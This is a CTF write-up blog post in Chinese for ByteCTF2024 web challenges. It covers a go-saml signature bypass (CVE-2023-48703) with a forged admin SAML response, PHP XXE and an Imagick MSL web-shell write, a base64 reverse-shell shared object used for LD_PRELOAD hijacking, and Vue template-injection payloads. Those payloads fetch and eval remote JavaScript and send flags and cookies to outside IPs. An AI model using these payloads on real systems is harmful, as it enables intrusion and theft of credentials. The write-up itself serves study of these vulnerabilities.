ByteCTF2024 WP

Fc04dB Lv4

ByteCTF2024复现

ezauth

SAML

SAML(Security Assertion Markup Language)是一种用于在不同域之间安全交换身份验证和授权数据的开放标准。它允许用户在多个应用程序和服务之间实现单点登录(SSO)。SAML 的核心概念包括:

  1. 身份提供者(IdP):负责用户身份验证并生成 SAML 断言,提供用户的身份信息。
  2. 服务提供者(SP):接收来自 IdP 的 SAML 断言,根据断言信息来授予用户访问权限。
  3. SAML 断言:包含有关用户身份的信息,比如用户的唯一标识符、认证状态、属性等。
  4. SAML 请求和响应:用户访问 SP 时,SP 会向 IdP 发送请求(AuthnRequest),IdP 验证用户后生成响应(Response),并将其返回给 SP。

SAML 的工作流程:

  1. 用户尝试访问 SP 的资源。
  2. SP 检测到用户尚未登录,并重定向用户到 IdP。
  3. 用户在 IdP 处输入凭据(如用户名和密码)。
  4. IdP 验证用户身份,生成 SAML 断言,并将其发送回 SP。
  5. SP 验证 SAML 断言,如果有效,允许用户访问资源。

go-saml演示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
package main

import (
"fmt"
"log"
"net/http"

"github.com/gin-gonic/gin"
"github.com/RobotsAndPencils/go-saml"
)

func main() {
// 初始化 SAML 服务提供者设置
sp := &saml.ServiceProviderSettings{
PublicCertPath: "./cert/sp-cert.pem", // SP 公钥证书路径
PrivateKeyPath: "./cert/sp-key.pem", // SP 私钥路径
IDPSSOURL: "https://idp.example.com/sso", // IdP SSO URL
IDPSSODescriptorURL: "https://idp.example.com/metadata", // IdP Metadata URL
IDPPublicCertPath: "./cert/idp-cert.pem", // IdP 公钥证书路径
AssertionConsumerServiceURL: "http://localhost:8080/acs", // SP 的断言消费者服务 URL (ACS)
SPSignRequest: true, // 是否签署 SAML 请求
}

err := sp.Init()
if err != nil {
log.Fatalf("SAML 初始化失败: %s", err)
}

r := gin.Default()

// SAML 登录请求
r.GET("/saml/login", func(c *gin.Context) {
// 生成 SAML AuthnRequest 并重定向到 IdP
authnRequest, err := sp.GetAuthnRequest()
if err != nil {
log.Printf("生成 SAML 请求失败: %s", err)
c.String(http.StatusInternalServerError, "生成 SAML 请求失败")
return
}
c.Redirect(http.StatusFound, authnRequest)
})

// SAML 响应处理 (ACS 端点)
r.POST("/acs", func(c *gin.Context) {
encodedResponse := c.PostForm("SAMLResponse")
if encodedResponse == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "缺少 SAMLResponse 参数"})
return
}

// 解析并验证 SAML 响应
samlResponse, err := saml.ParseEncodedResponse(encodedResponse)
if err != nil {
log.Printf("解析 SAML 响应失败: %s", err)
c.JSON(http.StatusBadRequest, gin.H{"error": "解析 SAML 响应失败"})
return
}

err = samlResponse.Validate(sp)
if err != nil {
log.Printf("SAML 响应验证失败: %s", err)
c.JSON(http.StatusBadRequest, gin.H{"error": "SAML 响应验证失败"})
return
}

// 获取用户属性(如 "uid")
uid := samlResponse.GetAttribute("uid")
if uid == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "缺少 uid 属性"})
return
}

c.JSON(http.StatusOK, gin.H{
"message": "登录成功",
"uid": uid,
})
})

r.GET("/", func(c *gin.Context) {
c.String(http.StatusOK, "欢迎使用 SAML 示例!")
})

// 启动 HTTP 服务
r.Run(":8080")
}

复现

CVE-2023-48703

GHSL-2023-121:RobotsAndPencils/go-saml 中存在 SAML 身份验证绕过漏洞 - CVE-2023-48703 |GitHub 安全实验室

好难啊Go,引用一下队友Ec3o师傅的复现吧

⾸先过SAMLResponse的检测,go-saml底层调的是xmlsec1,理论上是存在⼀个CVE-2023-48703的,就是虽然指定了–pubkey-dem,xml⾥边有证书的话还是可以⽤⾥⾯那个验证的,也就是说只需要找⼀个能默认通过X509_verify_cert的证书,⾃⼰签response即可。

找了⽼半天,由于xmlsec1sign出来的玩意没有中间证书链,要直接从内置的CA签⼀个来的话,⼜好像没办法。然后试了⼀下发现连续放两个<samlsig:X509Certificate>进去,是能正常xmlsec1 verify的,所以随便整个LE啥的搭⽹站⽣成的证书签⼀下,这就解决了/acs路由的验证,拿到 random_code跟⼀个guest的JWT。

(最后才发现它好像调的是GitHub项⽬⾥边默认⾃带的default.key/crt??)

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>

<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlsig="http://www.w3.org/2000/09/xmldsig#" Destination="http://localhost:8000/saml_consume" ID="_b38d8561-d69f-48bf-77a5- 783da9328792" Version="2.0" IssueInstant="2024-09-21T06:23:13.437230381Z"

InResponseTo="abc"> <saml:Issuer>http://localhost:8000/saml_consume</saml:Issuer> <samlsig:Signature Id="_96c8ed02-c1ee-4322-4233-845ccdead67d"> <samlsig:SignedInfo> <samlsig:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <samlsig:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/> <samlsig:Reference URI=""> <samlsig:Transforms> <samlsig:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/> </samlsig:Transforms> <samlsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/> <samlsig:DigestValue>cPCj+ZmNWg+ADY/LiFH88+s/da0= </samlsig:DigestValue> </samlsig:Reference> </samlsig:SignedInfo> <samlsig:SignatureValue></samlsig:SignatureValue> <samlsig:KeyInfo> <samlsig:X509Data> <samlsig:X509Certificate>CHAIN1_CERT_B64</samlsig:X509Certificate><samlsig:X509Certificate>MY_CERT_B64</samlsig:X509Certificate> </samlsig:X509Data> </samlsig:KeyInfo> </samlsig:Signature> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_29cf1612-da76-45f5- 7552-3764fa8b41f2" Version="2.0" IssueInstant="2024-09-21T06:23:13.437234459Z">

<saml:Issuer>http://localhost:8000/saml_consume</saml:Issuer> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:2.0:nameidformat:transient">admin</saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml:SubjectConfirmationData InResponseTo="abc" NotOnOrAfter="2034-09-21T06:28:13.437234739Z" Recipient="http://localhost:8000/saml_consume"/> </saml:SubjectConfirmation> </saml:Subject> <saml:Conditions NotBefore="2024-09-21T06:18:13.43723516Z" NotOnOrAfter="2034-09-21T06:28:13.43723533Z"/> <saml:AttributeStatement> <saml:Attribute Name="uid" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"> <saml:AttributeValue xsi:type="xs:string">admin</saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"> <saml:AttributeValue

xsi:type="xs:string">someone@domain</saml:AttributeValue>

</saml:Attribute> </saml:AttributeStatement> </saml:Assertion> </samlp:Response>

然后要绕过JWT,可以发现它有过期则重新签名的逻辑,但是判断了err为ValidationErrorExpired。再仔细看看,会发现这个判断其实并没有那么简单,它分了Inner跟Errors,前者会在验证签名时被

替换为SignatureInvalid,⽽后者是按位mask的.

根据代码逻辑能发现,ValidationErrorExpired是能⼀层层传递出来的,也就是说尽管签名验证失败,在后⾯仍会⾛到过期重签的逻辑,根据⾮法的body⽣成⼀个新的JWT,由此可伪造admin。

ezobj

LD_PRELOAD劫持

在 Linux 系统中,LD_PRELOAD 是一个环境变量,它允许用户在程序启动前指定要预先加载的共享库。在程序执行过程中,系统首先加载 LD_PRELOAD 中指定的共享库,然后再加载程序所依赖的库文件。因此,攻击者可以通过将恶意库放入 LD_PRELOAD,替换目标程序中使用的某些函数,实现功能劫持。

LD_PRELOAD劫持

复现

根据wm的wp整理了一下思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
ini_set("display_errors", "On");
include_once("config.php");
if (isset($_GET['so']) && isset($_GET['key'])) {
if (is_numeric($_GET['so']) && $_GET['key'] === $secret) {
array_map(function($file) { echo $file . "\n"; }, glob('/tmp/*'));
putenv("LD_PRELOAD=/tmp/".$_GET['so'].".so");
}
}
if (isset($_GET['byte']) && isset($_GET['ctf'])) {
$a = new ReflectionClass($_GET['byte']);
$b = $a->newInstanceArgs($_GET['ctf']);
// echo $b;
} elseif (isset($_GET['clean'])){
array_map('unlink', glob('/tmp/*'));
} else {
highlight_file(__FILE__);
echo 'Hello ByteCTF2024!';
}
// phpinfo.html Hello ByteCTF2024!

应该就是想让我们劫持LD_PRELOAD最后rce

phpinfo给出了imagick,考虑通过read、write标签落地远程文件

img

通过SimpleXml去进行xxe读取config.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /?byte=SimpleXMLElement&ctf[0]=http://8.130.24.188/evil.xml&ctf[1]=2&ctf[2]=true HTTP/1.1
Host: a1bc48a6.clsadp.com
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTrWYaXKoVR1wiLhP
Content-Length: 345

------WebKitFormBoundaryTrWYaXKoVR1wiLhP
Content-Disposition: form-data; name="file"; filename="vulhub.msl"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:&lt;?php system($_REQUEST['cmd']); ?&gt;"/>
<write filename="info:s.php" />
</image>
------WebKitFormBoundaryTrWYaXKoVR1wiLhP--

拿到secrert=HelloByteCTF2024

php产生的临时文件并不会被清除,这一点在phpinfo写了。因此直接上传我们的恶意so即可,在这之前先compile一个msf的木马,劫持ld_preload会卡死因此需要用msf

写文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /?byte=Imagick&ctf[0]=vid:msl:/tmp/php* HTTP/1.1
Host: 70b31e79.clsadp.com
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTrWYaXKoVR1wiLhP
Content-Length: 1037

------WebKitFormBoundaryTrWYaXKoVR1wiLhP
Content-Disposition: form-data; name="file"; filename="vulhub.msl"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data:text/8BIM;base64,f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAACAEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAIAAAAAAACWAgAAAAAAAAAQAAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAAAAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAAAACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgAJ+wiCGLxRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g=="/>
<write filename="/tmp/1.so" />
</image>
------WebKitFormBoundaryTrWYaXKoVR1wiLhP--

配置文件拿到redis密码:bytectfa0d90b

后续redis module提权

img

redis提权

  • Redis 是完全开源,遵守 BSD 协议的高性能 key-value 数据库。
  • Redis的所有操作都是原子性的,意思就是要么成功执行要么失败完全不执行。单个操作是原子性的。多个操作也支持事务,即原子性,通过MULTI和EXEC指令包起来。
  • Redis运行在内存中但是可以持久化到磁盘,所以在对不同数据集进行高速读写时需要权衡内存,因为数据量不能大于硬件内存。

提权:

首先我们要做的第一步是登录到Redis里面去, 可进入方式有:

  1. redis未授权访问漏洞
    • 默认情况下是可无密码登录的
  2. 弱口令
  3. redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。

进入到redis客户端环境之后我们可以通过修改dirdbfilename参数达到在指定文件写内容文件的目的,

渗透测试怎么利用Redis提权 - h0cksr - 博客园 (cnblogs.com)

CrossVue

用起来也是 vue,找个地方注入 vue 的模板:

img

验证是成功的,所以只要 Profile 不出现<> 等会被html转移的字符就好了,可以{{eval(atob('base64'))}}

另外,想办法控制到80个字符以内就好

1
{{fetch('http://test.example.com:51008/').then(t=>t.text()).then(eval)}}
  • fetch: 从 http://test.example.com:51008/ 地址发起网络请求。
  • then(t => t.text()): 当请求成功时,将响应的内容转换为文本格式。
  • then(eval): 将转换后的文本内容作为代码执行。

vps上面还要再写一个js

1
2
3
fetch('/admin').then(r => r.text())
.then(t => t.match(/<h1>(.*?)<\/h1>/)[1])
.then(flag => fetch('http://test.example.com:51008/?q=' + flag, { 'no-cors': true }))
  • fetch(‘/admin’): 发送请求到 /admin 路径。
  • .then(r => r.text()): 将响应转换为文本。
  • .then(t => t.match(/

    (.*?)

    /)[1])
    : 使用正则表达式匹配并提取 <h1> 标签内的内容。
  • .then(flag => fetch(‘http://27.25.151.48:12138/?q= ‘ + flag, {‘no-cors’: true})): 将提取到的文本作为查询参数发送到指定的 URL。

配置一个允许跨域

修改一下payload

1
{{fetch('http://27.25.151.48:12138/index.js').then(t=>t.text()).then(eval)}}

但是这样子的话,我在想怎么处理回显的问题,怎么去看呢,后来交流知道了要不直接在SSTI里面插入xss来打

1
{{eval('document.location=\"http://27.25.151.48:9999/?a=\"+document.cookie')}}
  • eval: 该函数用于执行传入的字符串代码。在这里,它被用来执行包含在字符串中的 JavaScript 代码。
  • document.location: 这是一个对象,表示当前文档的 URL。通过设置它,你可以改变浏览器的地址。
  • http://27.25.151.48:9999/?a=\ “ + document.cookie: 这个字符串构造了一个新的 URL,其中 document.cookie 将被附加为查询参数 a。这样,你会向 http://27.25.151.48:9999 发送请求,并包含当前页面的 cookie 信息。

那么拿到cookie登录即可

  • Title: ByteCTF2024 WP
  • Author: Fc04dB
  • Created at : 2024-10-10 10:20:25
  • Updated at : 2024-10-10 16:03:34
  • Link: https://redefine.ohevan.com/2024/10/10/ByteCTF2024-WP/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments